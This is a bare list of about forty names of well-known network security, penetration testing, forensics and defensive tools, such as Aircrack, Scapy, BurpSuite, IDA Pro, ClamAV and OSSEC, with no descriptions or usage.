Aircrack

Sysinternals

Scapy

BackTrack

P0f

Google

WebScarab

WebInspect

Core Impact

IDA Pro

Rainbow Crack

AngryIP Scanner

RKHunter

Ike-scan

KisMAC

OSSEC HIDS

Tor

Knoppix

chrootkit

Yersinia

Nagios

X-scan

Socat

QualysGuard

ClamAV

BurpSuite

Unicornscan

BASE

Argus

Wikto

SGuil

IP Filter

Canvas

VMware

OpenVPN

OllyDbg

Helix

Acunetix Web Vulnerability Scanner

TrueCrypt

Watchfire AppScan